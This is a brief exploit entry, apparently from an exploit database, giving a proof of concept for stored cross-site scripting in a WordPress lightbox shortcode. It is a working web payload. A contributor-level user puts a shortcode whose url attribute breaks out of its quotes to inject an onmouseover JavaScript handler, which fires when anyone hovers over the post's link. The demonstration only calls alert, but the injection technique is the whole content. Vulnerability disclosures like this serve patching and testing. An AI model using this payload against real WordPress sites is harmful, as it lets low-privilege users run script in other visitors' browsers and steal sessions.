## https://sploitus.com/exploit?id=WPEX-ID:D9309A09-34BA-4E56-B683-E677AD277B29
As a contributor, put, the following shortcode in a page/post
[lightbox2 url='" onmouseover=javascript:alert(/XSS/) "']
The XSS will be triggered when viewing/previewing the page/post and moving the mouse over the "Click Here" text in the post